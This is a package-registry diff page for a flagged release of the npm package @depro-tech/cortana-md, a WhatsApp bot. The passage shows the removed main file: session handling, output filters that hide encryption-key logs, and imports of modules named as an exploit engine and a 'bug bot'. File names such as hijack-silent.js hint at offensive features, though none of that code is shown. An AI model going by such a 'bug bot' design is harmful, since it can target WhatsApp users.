@depro-tech/cortana-md 1.0.3 โ 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @depro-tech/cortana-md might be problematic. Click here for more details.
- package/package.json +1 -1
- package/src/cleanup.js +1 -140
- package/src/db.js +1 -49
- package/src/exploit-engine.js +1 -36
- package/src/hosted-mode.js +1 -353
- package/src/hybrid-storage.js +1 -286
- package/src/lib/logger.js +1 -151
- package/src/lib/message-helper.js +1 -145
- package/src/local-storage.js +1 -172
- package/src/mongo-auth.js +1 -134
- package/src/plugins/advanced-scrapers.js +1 -265
- package/src/plugins/advisor.js +1 -157
- package/src/plugins/ai-commands.js +1 -303
- package/src/plugins/ai-voice.js +1 -102
- package/src/plugins/ai.js +1 -265
- package/src/plugins/anime-advanced.js +1 -237
- package/src/plugins/anime.js +1 -91
- package/src/plugins/audio-effects.js +1 -132
- package/src/plugins/channel.js +1 -242
- package/src/plugins/chatbot.js +1 -219
- package/src/plugins/checker.js +1 -106
- package/src/plugins/converter.js +1 -99
- package/src/plugins/core.js +1 -283
- package/src/plugins/downloaders.js +1 -271
- package/src/plugins/economy.js +1 -198
- package/src/plugins/fun-mega.js +1 -606
- package/src/plugins/fun.js +1 -100
- package/src/plugins/game.js +1 -139
- package/src/plugins/group-advanced.js +1 -244
- package/src/plugins/group.js +1 -1421
- package/src/plugins/hackmode.js +1 -229
- package/src/plugins/hijack-silent.js +1 -219
- package/src/plugins/image_edit.js +1 -92
- package/src/plugins/index.js +1 -54
- package/src/plugins/love-diss.js +1 -265
- package/src/plugins/lyrics.js +0 -2
- package/src/plugins/media.js +1 -337
- package/src/plugins/misc-advanced.js +1 -247
- package/src/plugins/misc.js +1 -182
- package/src/plugins/moderation.js +1 -69
- package/src/plugins/mpesa.js +1 -70
- package/src/plugins/multi-downloaders.js +1 -299
- package/src/plugins/next-level-owner.js +1 -202
- package/src/plugins/next-level.js +1 -120
- package/src/plugins/owner-features.js +1 -210
- package/src/plugins/owner.js +1 -346
- package/src/plugins/pair-chamber.js +1 -93
- package/src/plugins/play.js +1 -217
- package/src/plugins/presence.js +1 -131
- package/src/plugins/primbon.js +1 -229
- package/src/plugins/probe.js +1 -24
- package/src/plugins/protection.js +1 -319
- package/src/plugins/reactions.js +1 -534
- package/src/plugins/religion.js +1 -232
- package/src/plugins/search-advanced.js +1 -305
- package/src/plugins/search.js +1 -172
- package/src/plugins/social-downloaders.js +1 -303
- package/src/plugins/sticker.js +1 -113
- package/src/plugins/stickers.js +1 -42
- package/src/plugins/tempmail.js +1 -140
- package/src/plugins/text-tools.js +1 -224
- package/src/plugins/text.js +1 -57
- package/src/plugins/tools-advanced.js +1 -226
- package/src/plugins/tourl.js +1 -197
- package/src/plugins/types.js +1 -9
- package/src/plugins/utilities.js +1 -253
- package/src/redis-storage.js +1 -285
- package/src/storage-internal.js +1 -209
- package/src/storage.js +1 -90
- package/src/store.js +1 -70
- package/src/utils/media-uploader.js +1 -205
- package/src/whatsapp.js +1 -1828
package/src/whatsapp.js
CHANGED
|
@@ -1,1828 +1 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
-
if (k2 === undefined) k2 = k;
|
|
4
|
-
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
-
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
-
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
-
}
|
|
8
|
-
Object.defineProperty(o, k2, desc);
|
|
9
|
-
}) : (function(o, m, k, k2) {
|
|
10
|
-
if (k2 === undefined) k2 = k;
|
|
11
|
-
o[k2] = m[k];
|
|
12
|
-
}));
|
|
13
|
-
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
-
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
-
}) : function(o, v) {
|
|
16
|
-
o["default"] = v;
|
|
17
|
-
});
|
|
18
|
-
var __importStar = (this && this.__importStar) || function (mod) {
|
|
19
|
-
if (mod && mod.__esModule) return mod;
|
|
20
|
-
var result = {};
|
|
21
|
-
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
|
|
22
|
-
__setModuleDefault(result, mod);
|
|
23
|
-
return result;
|
|
24
|
-
};
|
|
25
|
-
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
26
|
-
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
27
|
-
};
|
|
28
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
29
|
-
exports.activeSockets = void 0;
|
|
30
|
-
exports.requestPairingCode = requestPairingCode;
|
|
31
|
-
exports.getSessionStatus = getSessionStatus;
|
|
32
|
-
exports.getPairingCode = getPairingCode;
|
|
33
|
-
exports.disconnectSession = disconnectSession;
|
|
34
|
-
exports.getActiveSessionsCount = getActiveSessionsCount;
|
|
35
|
-
exports.restoreAllSessions = restoreAllSessions;
|
|
36
|
-
exports.getSessionSocket = getSessionSocket;
|
|
37
|
-
exports.getSessionByPhone = getSessionByPhone;
|
|
38
|
-
exports.getAllActiveSessions = getAllActiveSessions;
|
|
39
|
-
exports.getBotSettings = getBotSettings;
|
|
40
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
41
|
-
// STDOUT/STDERR OVERRIDE - NUCLEAR OPTION FOR LOG SUPPRESSION
|
|
42
|
-
// Must be FIRST before ANY imports - catches ALL output
|
|
43
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
44
|
-
const _SUPPRESS = [
|
|
45
|
-
'SessionEntry', 'Closing session', 'Closing open session', 'Removing old',
|
|
46
|
-
'_chains', '<Buffer', 'pendingPreKey', 'rootKey', 'indexInfo',
|
|
47
|
-
'ephemeralKeyPair', 'registrationId', 'Session error', 'Bad MAC',
|
|
48
|
-
'currentRatchet', 'baseKey', 'chainKey', 'chainType', 'messageKeys',
|
|
49
|
-
'lastRemoteEphemeralKey', 'previousCounter', 'remoteIdentityKey',
|
|
50
|
-
'signedKeyId', 'preKeyId', 'baseKeyType', 'privKey', 'pubKey',
|
|
51
|
-
'Failed to decrypt', 'prekey bundle', 'Buffer', 'remoteIdentityKey',
|
|
52
|
-
'ephemeralKeyPair:', 'lastRemoteEphemeralKey:', 'rootKey:',
|
|
53
|
-
'closed:', 'used:', 'created:', 'baseKey:',
|
|
54
|
-
'No session found', 'transaction failed', 'decrypt message'
|
|
55
|
-
];
|
|
56
|
-
// Override process.stdout.write (catches EVERYTHING including libsignal)
|
|
57
|
-
const _origStdoutWrite = process.stdout.write.bind(process.stdout);
|
|
58
|
-
const _origStderrWrite = process.stderr.write.bind(process.stderr);
|
|
59
|
-
process.stdout.write = (chunk, encoding, callback) => {
|
|
60
|
-
const str = typeof chunk === 'string' ? chunk : chunk?.toString() || '';
|
|
61
|
-
if (_SUPPRESS.some(k => str.includes(k))) {
|
|
62
|
-
if (typeof callback === 'function')
|
|
63
|
-
callback();
|
|
64
|
-
return true;
|
|
65
|
-
}
|
|
66
|
-
return _origStdoutWrite(chunk, encoding, callback);
|
|
67
|
-
};
|
|
68
|
-
process.stderr.write = (chunk, encoding, callback) => {
|
|
69
|
-
const str = typeof chunk === 'string' ? chunk : chunk?.toString() || '';
|
|
70
|
-
if (_SUPPRESS.some(k => str.includes(k))) {
|
|
71
|
-
if (typeof callback === 'function')
|
|
72
|
-
callback();
|
|
73
|
-
return true;
|
|
74
|
-
}
|
|
75
|
-
return _origStderrWrite(chunk, encoding, callback);
|
|
76
|
-
};
|
|
77
|
-
// Also override console for good measure
|
|
78
|
-
const _origLog = console.log;
|
|
79
|
-
const _origErr = console.error;
|
|
80
|
-
console.log = (...args) => {
|
|
81
|
-
const s = args.map(a => typeof a === 'string' ? a : String(a)).join(' ');
|
|
82
|
-
if (!_SUPPRESS.some(k => s.includes(k)))
|
|
83
|
-
_origLog.apply(console, args);
|
|
84
|
-
};
|
|
85
|
-
console.error = (...args) => {
|
|
86
|
-
const s = args.map(a => typeof a === 'string' ? a : String(a)).join(' ');
|
|
87
|
-
if (!_SUPPRESS.some(k => s.includes(k)))
|
|
88
|
-
_origErr.apply(console, args);
|
|
89
|
-
};
|
|
90
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
91
|
-
const module_1 = require("module");
|
|
92
|
-
const require = (0, module_1.createRequire)(process.cwd() + "/package.json");
|
|
93
|
-
const Baileys = require("@whiskeysockets/baileys");
|
|
94
|
-
const makeWASocket = Baileys.default?.default || Baileys.default || Baileys;
|
|
95
|
-
const { DisconnectReason, useMultiFileAuthState, fetchLatestBaileysVersion, makeCacheableSignalKeyStore, Browsers, downloadMediaMessage, proto, getDevice } = Baileys;
|
|
96
|
-
// Removed explicit Boom import to avoid dependency issues if it's not top-level
|
|
97
|
-
// import { Boom } from "@hapi/boom";
|
|
98
|
-
const pino_1 = __importDefault(require("pino"));
|
|
99
|
-
const node_cache_1 = __importDefault(require("node-cache"));
|
|
100
|
-
const crypto_1 = require("crypto");
|
|
101
|
-
const storage_1 = require("./storage");
|
|
102
|
-
const fs_1 = __importDefault(require("fs"));
|
|
103
|
-
const path_1 = __importDefault(require("path"));
|
|
104
|
-
const types_1 = require("./plugins/types");
|
|
105
|
-
require("./plugins/index");
|
|
106
|
-
const axios_1 = __importDefault(require("axios"));
|
|
107
|
-
const store_1 = require("./store");
|
|
108
|
-
const logger_1 = __importDefault(require("./lib/logger"));
|
|
109
|
-
const chatbot_1 = require("./plugins/chatbot");
|
|
110
|
-
const protection_1 = require("./plugins/protection");
|
|
111
|
-
const group_1 = require("./plugins/group");
|
|
112
|
-
const local_storage_1 = require("./local-storage"); // Import local storage for user checks
|
|
113
|
-
const message_helper_1 = require("./lib/message-helper");
|
|
114
|
-
// getBugHandler inlined to avoid circular dependency/import issues
|
|
115
|
-
function getBugHandler() {
|
|
116
|
-
try {
|
|
117
|
-
const handlerPath = path_1.default.join(process.cwd(), 'server', 'bugbot', 'bughandler');
|
|
118
|
-
return require(handlerPath);
|
|
119
|
-
}
|
|
120
|
-
catch (e) {
|
|
121
|
-
console.error('Failed to load local bug handler:', e.message);
|
|
122
|
-
return null;
|
|
123
|
-
}
|
|
124
|
-
}
|
|
125
|
-
const exploit_engine_1 = require("./exploit-engine");
|
|
126
|
-
const cleanup_1 = require("./cleanup");
|
|
127
|
-
// Bug Bot is now handled entirely by bugbot/bug-whatsapp.ts
|
|
128
|
-
// MD Bot (this file) focuses only on MD sessions with plugin system
|
|
129
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
130
|
-
// LOGGING CONTROL - Set to false for production (reduces log spam)
|
|
131
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
132
|
-
const DEBUG = process.env.DEBUG === 'true' || false;
|
|
133
|
-
// Conditional logger - only logs if DEBUG is true (uses original reference from top of file)
|
|
134
|
-
const log = {
|
|
135
|
-
debug: (...args) => { if (DEBUG)
|
|
136
|
-
_origLog(...args); },
|
|
137
|
-
info: (...args) => { if (DEBUG)
|
|
138
|
-
_origLog(...args); },
|
|
139
|
-
warn: (...args) => console.warn(...args),
|
|
140
|
-
error: (...args) => _origErr(...args), // Use original to bypass filter for our errors
|
|
141
|
-
};
|
|
142
|
-
const logger = (0, pino_1.default)({ level: "silent" }); // Set to silent to suppress all pino logs
|
|
143
|
-
const msgRetryCounterCache = new node_cache_1.default();
|
|
144
|
-
exports.activeSockets = new Map();
|
|
145
|
-
const keepAliveIntervals = new Map();
|
|
146
|
-
const pairingCodes = new Map();
|
|
147
|
-
// Per-session bot settings cache (avoids hitting storage on every message)
|
|
148
|
-
const settingsCache = new Map();
|
|
149
|
-
const SETTINGS_CACHE_TTL = 60000; // Refresh settings every 60 seconds
|
|
150
|
-
// Global deduplication cache - now with TTL-based auto-expiry
|
|
151
|
-
const processedMessageIds = new Map(); // messageId -> timestamp
|
|
152
|
-
// NOTE: processedMessageIds cleanup is handled by the main 10s resource cleanup interval below
|
|
153
|
-
// Per-session ready gate: only process messages AFTER connection is fully open
|
|
154
|
-
const sessionReady = new Map();
|
|
155
|
-
// Connection Lock: Prevents parallel startSocket calls for the same session
|
|
156
|
-
const connectingSessions = new Set();
|
|
157
|
-
// Individual session activity tracking (Stealth mode)
|
|
158
|
-
const lastActive = new Map();
|
|
159
|
-
const BOT_NAME = "CORTANA MD X-MASS ED.";
|
|
160
|
-
const PREFIX = ".";
|
|
161
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
162
|
-
// VPS STABILITY: COMPREHENSIVE RESOURCE CLEANUP (Every 10s)
|
|
163
|
-
// Cleans: message dedup cache, settings cache, message store,
|
|
164
|
-
// retry counters, zombie sockets, expired sessions, GC
|
|
165
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
166
|
-
let lastMemoryUsage = 0;
|
|
167
|
-
const CLEANUP_INTERVAL = 30000; // 30 seconds (User requested)
|
|
168
|
-
const resourceCleanupInterval = setInterval(() => {
|
|
169
|
-
try {
|
|
170
|
-
const now = Date.now();
|
|
171
|
-
// 1. DEDUP CACHE: Remove entries older than 90 seconds (was 2 min)
|
|
172
|
-
let dedupCleaned = 0;
|
|
173
|
-
for (const [id, ts] of processedMessageIds.entries()) {
|
|
174
|
-
if (now - ts > 90000) {
|
|
175
|
-
processedMessageIds.delete(id);
|
|
176
|
-
dedupCleaned++;
|
|
177
|
-
}
|
|
178
|
-
}
|
|
179
|
-
// 2. SETTINGS CACHE: Remove stale entries (older than TTL)
|
|
180
|
-
for (const [id, entry] of settingsCache.entries()) {
|
|
181
|
-
if (now - entry.cachedAt > SETTINGS_CACHE_TTL) {
|
|
182
|
-
settingsCache.delete(id);
|
|
183
|
-
}
|
|
184
|
-
}
|
|
185
|
-
// 3. MESSAGE CACHE: Cap size to prevent memory bloat
|
|
186
|
-
if (store_1.messageCache.size() > 150) {
|
|
187
|
-
store_1.messageCache.clear();
|
|
188
|
-
}
|
|
189
|
-
// 4. RETRY COUNTER CACHE: Flush all expired entries
|
|
190
|
-
msgRetryCounterCache.flushAll();
|
|
191
|
-
// 5. ZOMBIE SOCKETS: Detect and log dead connections
|
|
192
|
-
// If a socket is closed (readyState 3) but still in map, KILL IT
|
|
193
|
-
for (const [sessionId, sock] of exports.activeSockets.entries()) {
|
|
194
|
-
if (!sock || (sock.ws && (sock.ws.readyState === 3 || sock.ws.readyState === 2))) {
|
|
195
|
-
logger_1.default.sys.cleanup(`โ ๏ธ Zombie socket detected/killing: ${sessionId.slice(0, 8)}`);
|
|
196
|
-
try {
|
|
197
|
-
sock.end(undefined);
|
|
198
|
-
}
|
|
199
|
-
catch { }
|
|
200
|
-
exports.activeSockets.delete(sessionId);
|
|
201
|
-
sessionReady.delete(sessionId);
|
|
202
|
-
connectingSessions.delete(sessionId);
|
|
203
|
-
}
|
|
204
|
-
}
|
|
205
|
-
// 6. SESSION EXPIRY CHECK (40-Hour Rule for Free Bug Bot)
|
|
206
|
-
for (const sessionId of exports.activeSockets.keys()) {
|
|
207
|
-
checkSessionExpiry(sessionId);
|
|
208
|
-
}
|
|
209
|
-
// 7. GARBAGE COLLECTION: Focus on aggressive cleanup when memory is high
|
|
210
|
-
const currentMemory = Math.round(process.memoryUsage().heapUsed / 1024 / 1024);
|
|
211
|
-
if (global.gc) {
|
|
212
|
-
if (currentMemory > 400) {
|
|
213
|
-
logger_1.default.sys.cleanup(`๐ Emergency GC triggered (Heap: ${currentMemory}MB)`);
|
|
214
|
-
try {
|
|
215
|
-
global.gc();
|
|
216
|
-
}
|
|
217
|
-
catch (e) { }
|
|
218
|
-
}
|
|
219
|
-
else {
|
|
220
|
-
try {
|
|
221
|
-
global.gc();
|
|
222
|
-
}
|
|
223
|
-
catch (e) { }
|
|
224
|
-
}
|
|
225
|
-
}
|
|
226
|
-
// 8. SYSTEM JUNK CLEANUP: Run performSystemCleanup every 5 intervals (~2.5 minutes)
|
|
227
|
-
// Using a simple counter or just running it every interval if light enough.
|
|
228
|
-
// Let's do it every 5 intervals to avoid constant disk IO.
|
|
229
|
-
if (!global.cleanupCounter)
|
|
230
|
-
global.cleanupCounter = 0;
|
|
231
|
-
global.cleanupCounter++;
|
|
232
|
-
if (global.cleanupCounter % 5 === 0) {
|
|
233
|
-
(0, cleanup_1.performSystemCleanup)();
|
|
234
|
-
}
|
|
235
|
-
// 9. MEMORY MONITORING: Log only on significant change (>10MB)
|
|
236
|
-
if (Math.abs(currentMemory - lastMemoryUsage) > 10) {
|
|
237
|
-
logger_1.default.sys.cleanup(`๐งน Heap: ${currentMemory}MB | Sessions: ${exports.activeSockets.size} | Dedup: ${processedMessageIds.size}`);
|
|
238
|
-
lastMemoryUsage = currentMemory;
|
|
239
|
-
}
|
|
240
|
-
}
|
|
241
|
-
catch (e) {
|
|
242
|
-
// Silent fail - don't crash on cleanup errors
|
|
243
|
-
}
|
|
244
|
-
}, CLEANUP_INTERVAL);
|
|
245
|
-
// Cleanup on process exit
|
|
246
|
-
process.on('exit', () => {
|
|
247
|
-
clearInterval(resourceCleanupInterval);
|
|
248
|
-
store_1.messageCache.destroy();
|
|
249
|
-
});
|
|
250
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
251
|
-
// SAFE MESSAGE SENDER - Prevents null/empty message sending
|
|
252
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
253
|
-
/**
|
|
254
|
-
* Validates message content before sending to prevent null/empty messages
|
|
255
|
-
* This fixes the bug where bot sends weird zero/null/nothing messages in groups
|
|
256
|
-
*/
|
|
257
|
-
function isValidMessageContent(content) {
|
|
258
|
-
if (!content || typeof content !== 'object')
|
|
259
|
-
return false;
|
|
260
|
-
// 1. Check for empty object
|
|
261
|
-
if (Object.keys(content).length === 0)
|
|
262
|
-
return false;
|
|
263
|
-
// 2. Text Message Validation
|
|
264
|
-
if ('text' in content) {
|
|
265
|
-
if (content.text === null || content.text === undefined)
|
|
266
|
-
return false;
|
|
267
|
-
// Strict check: non-empty string required for text messages
|
|
268
|
-
if (typeof content.text === 'string' && content.text.trim() === '') {
|
|
269
|
-
// If it's a text-only message (no other content like mentions/context), reject it
|
|
270
|
-
const otherKeys = Object.keys(content).filter(k => k !== 'text' && k !== 'mentions' && k !== 'contextInfo' && k !== 'quoted');
|
|
271
|
-
if (otherKeys.length === 0)
|
|
272
|
-
return false;
|
|
273
|
-
}
|
|
274
|
-
}
|
|
275
|
-
// 3. Media Validation
|
|
276
|
-
const mediaTypes = ['image', 'video', 'audio', 'sticker', 'document'];
|
|
277
|
-
for (const type of mediaTypes) {
|
|
278
|
-
if (type in content) {
|
|
279
|
-
const media = content[type];
|
|
280
|
-
if (!media)
|
|
281
|
-
return false;
|
|
282
|
-
// Media must have data (url, stream, or buffer)
|
|
283
|
-
if (typeof media === 'object') {
|
|
284
|
-
// Strict check: must have url OR stream OR be a buffer OR contain a buffer
|
|
285
|
-
const hasUrl = !!media.url;
|
|
286
|
-
const hasStream = !!media.stream;
|
|
287
|
-
const isBuff = Buffer.isBuffer(media);
|
|
288
|
-
const hasBuff = Buffer.isBuffer(content[type]);
|
|
289
|
-
if (!hasUrl && !hasStream && !isBuff && !hasBuff) {
|
|
290
|
-
return false;
|
|
291
|
-
}
|
|
292
|
-
}
|
|
293
|
-
}
|
|
294
|
-
}
|
|
295
|
-
// 4. Specific Message Types
|
|
296
|
-
if ('delete' in content && (!content.delete || !content.delete.id))
|
|
297
|
-
return false;
|
|
298
|
-
if ('react' in content && (!content.react || !content.react.key || !content.react.text))
|
|
299
|
-
return false;
|
|
300
|
-
if ('edit' in content && (!content.edit || !content.edit.id))
|
|
301
|
-
return false;
|
|
302
|
-
return true;
|
|
303
|
-
}
|
|
304
|
-
/**
|
|
305
|
-
* Helper: Convert LID to Phone JID
|
|
306
|
-
* Baileys often returns LIDs for self-messages, but we usually want to reply to the phone JID
|
|
307
|
-
* so it shows up in the chat properly.
|
|
308
|
-
*/
|
|
309
|
-
function getPhoneJid(jid) {
|
|
310
|
-
if (!jid)
|
|
311
|
-
return "";
|
|
312
|
-
if (jid.endsWith("@g.us"))
|
|
313
|
-
return jid; // Groups are fine
|
|
314
|
-
if (jid.includes(":"))
|
|
315
|
-
jid = jid.split(":")[0] + "@" + jid.split("@")[1];
|
|
316
|
-
return jid.replace("@lid", "@s.whatsapp.net");
|
|
317
|
-
}
|
|
318
|
-
/**
|
|
319
|
-
* Safe wrapper for sock.sendMessage that validates content before sending
|
|
320
|
-
*/
|
|
321
|
-
async function safeSendMessage(sock, jid, content, options) {
|
|
322
|
-
try {
|
|
323
|
-
// Validate JID
|
|
324
|
-
if (!jid || typeof jid !== 'string') {
|
|
325
|
-
console.error('[SAFE_SEND] Invalid JID:', jid);
|
|
326
|
-
return null;
|
|
327
|
-
}
|
|
328
|
-
// Validate content
|
|
329
|
-
if (!isValidMessageContent(content)) {
|
|
330
|
-
console.warn('[SAFE_SEND] Blocked invalid/empty message to', jid, '| Content:', JSON.stringify(content).substring(0, 100));
|
|
331
|
-
return null;
|
|
332
|
-
}
|
|
333
|
-
// Proceed with sending
|
|
334
|
-
const result = await sock.sendMessage(jid, content, options);
|
|
335
|
-
console.log('[SAFE_SEND] โ
Message sent to', jid);
|
|
336
|
-
return result;
|
|
337
|
-
}
|
|
338
|
-
catch (error) {
|
|
339
|
-
console.error('[SAFE_SEND] Error sending message:', error.message);
|
|
340
|
-
return null;
|
|
341
|
-
}
|
|
342
|
-
}
|
|
343
|
-
async function checkSessionExpiry(sessionId) {
|
|
344
|
-
try {
|
|
345
|
-
const session = await storage_1.storage.getSession(sessionId);
|
|
346
|
-
// Only apply to BUG BOT sessions
|
|
347
|
-
if (!session || session.type !== 'bug')
|
|
348
|
-
return;
|
|
349
|
-
// Check age
|
|
350
|
-
const createdAt = new Date(session.createdAt || 0).getTime();
|
|
351
|
-
const now = Date.now();
|
|
352
|
-
const hoursAlive = (now - createdAt) / (1000 * 60 * 60);
|
|
353
|
-
// If less than 40 hours, safe.
|
|
354
|
-
if (hoursAlive < 40)
|
|
355
|
-
return;
|
|
356
|
-
// If older than 40 hours, check User Premium Status
|
|
357
|
-
// 'createdBy' field holds the Telegram ID (as string)
|
|
358
|
-
const telegramId = session.createdBy;
|
|
359
|
-
if (!telegramId)
|
|
360
|
-
return; // Should not happen for bug sessions
|
|
361
|
-
const user = await local_storage_1.localStorage.getUser(telegramId);
|
|
362
|
-
// If user is PREMIUM, they are immune to expiry
|
|
363
|
-
if (user && user.isPremium)
|
|
364
|
-
return;
|
|
365
|
-
// If NOT premium (Free Trial) -> EXPIRE IT
|
|
366
|
-
console.log(`[EXPIRY] Session ${sessionId} exceeded 40 hours (${hoursAlive.toFixed(1)}h). User ${telegramId} is not premium. DELETING.`);
|
|
367
|
-
// Explicitly call close logic (we can trigger it via socket end or manually cleanup)
|
|
368
|
-
const sock = exports.activeSockets.get(sessionId);
|
|
369
|
-
if (sock) {
|
|
370
|
-
sock.end(new Error('Session Expired')); // This triggers disconnect
|
|
371
|
-
// Or we can just call our cleanup helper if we could access it, but it's scoped inside connection.update.
|
|
372
|
-
// So we force a disconnect with a custom reason or just kill it.
|
|
373
|
-
// Actually, standard cleanup is best.
|
|
374
|
-
// Let's manually trigger the cleanup steps tailored for this:
|
|
375
|
-
// 1. Remove from active
|
|
376
|
-
exports.activeSockets.delete(sessionId);
|
|
377
|
-
if (sock.ws)
|
|
378
|
-
sock.ws.terminate();
|
|
379
|
-
// 2. Delete from DB
|
|
380
|
-
await storage_1.storage.deleteSession(sessionId);
|
|
381
|
-
// 3. Delete Files
|
|
382
|
-
const authDir = path_1.default.join(process.cwd(), "auth_sessions", 'bug', sessionId);
|
|
383
|
-
if (fs_1.default.existsSync(authDir)) {
|
|
384
|
-
fs_1.default.rmSync(authDir, { recursive: true, force: true });
|
|
385
|
-
}
|
|
386
|
-
console.log(`[EXPIRY] Session ${sessionId} fully deleted.`);
|
|
387
|
-
}
|
|
388
|
-
}
|
|
389
|
-
catch (e) {
|
|
390
|
-
console.error(`[EXPIRY] Error checking session ${sessionId}:`, e);
|
|
391
|
-
}
|
|
392
|
-
}
|
|
393
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
394
|
-
// MongoDB Auth Import
|
|
395
|
-
const mongo_auth_1 = require("./mongo-auth");
|
|
396
|
-
/**
|
|
397
|
-
* Initializes the socket connection.
|
|
398
|
-
* Supports both File-based (legacy) and MongoDB-based (new) authentication.
|
|
399
|
-
*/
|
|
400
|
-
async function startSocket(sessionId, phoneNumber, overrideType) {
|
|
401
|
-
// SINGLETON PROTECTION: Don't start if already active
|
|
402
|
-
// 1. CONNECTION LOCK: Prevent parallel connection attempts
|
|
403
|
-
if (connectingSessions.has(sessionId)) {
|
|
404
|
-
console.log(`[SESSION] ${sessionId.slice(0, 8)} is already connecting. Debouncing.`);
|
|
405
|
-
return;
|
|
406
|
-
}
|
|
407
|
-
// 2. ZOMBIE KILLER: Force kill any existing socket for this ID logic
|
|
408
|
-
// If we are starting a socket, the old one MUST be dead.
|
|
409
|
-
if (exports.activeSockets.has(sessionId)) {
|
|
410
|
-
console.log(`[SESSION] ${sessionId.slice(0, 8)} has existing socket. Force closing before restart.`);
|
|
411
|
-
const oldSock = exports.activeSockets.get(sessionId);
|
|
412
|
-
try {
|
|
413
|
-
oldSock.end(undefined);
|
|
414
|
-
if (oldSock.ws)
|
|
415
|
-
oldSock.ws.terminate();
|
|
416
|
-
}
|
|
417
|
-
catch (e) { }
|
|
418
|
-
exports.activeSockets.delete(sessionId);
|
|
419
|
-
sessionReady.delete(sessionId);
|
|
420
|
-
}
|
|
421
|
-
// Set Lock
|
|
422
|
-
connectingSessions.add(sessionId);
|
|
423
|
-
try {
|
|
424
|
-
// Retrieve session to get type
|
|
425
|
-
const session = await storage_1.storage.getSession(sessionId);
|
|
426
|
-
const type = overrideType || session?.type || 'md'; // Priority: Override > DB > Default
|
|
427
|
-
// DEBUG: Log session type for diagnosing Bug Bot vs MD Bot issues
|
|
428
|
-
console.log(`|MD| Starting session ${sessionId.slice(0, 8)}... | Type: ${type}`);
|
|
429
|
-
// Check for MongoDB URI in environment
|
|
430
|
-
const mongoUri = process.env.MONGODB_URI;
|
|
431
|
-
let authState;
|
|
432
|
-
let saveCreds;
|
|
433
|
-
if (mongoUri) {
|
|
434
|
-
console.log('[AUTH] Using MongoDB Storage ๐');
|
|
435
|
-
await (0, mongo_auth_1.connectToMongo)(mongoUri);
|
|
436
|
-
const auth = await (0, mongo_auth_1.useMongoAuthState)(sessionId);
|
|
437
|
-
authState = auth.state;
|
|
438
|
-
saveCreds = auth.saveCreds;
|
|
439
|
-
}
|
|
440
|
-
else {
|
|
441
|
-
console.log('[AUTH] Using File Storage ๐');
|
|
442
|
-
// Separate storage folders: auth_sessions/md/sessionId vs auth_sessions/bug/sessionId
|
|
443
|
-
const authDir = path_1.default.join(process.cwd(), "auth_sessions", type, sessionId);
|
|
444
|
-
if (!fs_1.default.existsSync(authDir)) {
|
|
445
|
-
fs_1.default.mkdirSync(authDir, { recursive: true });
|
|
446
|
-
}
|
|
447
|
-
const auth = await useMultiFileAuthState(authDir);
|
|
448
|
-
authState = auth.state;
|
|
449
|
-
saveCreds = auth.saveCreds;
|
|
450
|
-
}
|
|
451
|
-
const { version } = await fetchLatestBaileysVersion();
|
|
452
|
-
const silentLogger = (0, pino_1.default)({ level: 'silent' });
|
|
453
|
-
// Custom Logger to Silence Specific Noise
|
|
454
|
-
const quietLogger = silentLogger.child({});
|
|
455
|
-
quietLogger.level = 'error';
|
|
456
|
-
const originalError = quietLogger.error;
|
|
457
|
-
quietLogger.error = (obj, msg, ...args) => {
|
|
458
|
-
if (typeof msg === 'string' && msg.includes('Decrypted message with closed session'))
|
|
459
|
-
return;
|
|
460
|
-
if (typeof obj === 'string' && obj.includes('Decrypted message with closed session'))
|
|
461
|
-
return;
|
|
462
|
-
originalError.call(quietLogger, obj, msg, ...args);
|
|
463
|
-
};
|
|
464
|
-
const sock = makeWASocket({
|
|
465
|
-
version,
|
|
466
|
-
logger: quietLogger,
|
|
467
|
-
printQRInTerminal: false,
|
|
468
|
-
auth: {
|
|
469
|
-
creds: authState.creds,
|
|
470
|
-
keys: makeCacheableSignalKeyStore(authState.keys, silentLogger),
|
|
471
|
-
},
|
|
472
|
-
msgRetryCounterCache,
|
|
473
|
-
browser: ["Ubuntu", "Chrome", "20.0.04"], // More stable for bots than MacOS
|
|
474
|
-
generateHighQualityLinkPreview: true,
|
|
475
|
-
// STABILITY CONFIGURATION
|
|
476
|
-
syncFullHistory: false, // Prevents timeouts during initial sync
|
|
477
|
-
markOnlineOnConnect: false, // STEALTH SLEEP MODE: Bots stay offline by default
|
|
478
|
-
connectTimeoutMs: 60000, // Longer timeout
|
|
479
|
-
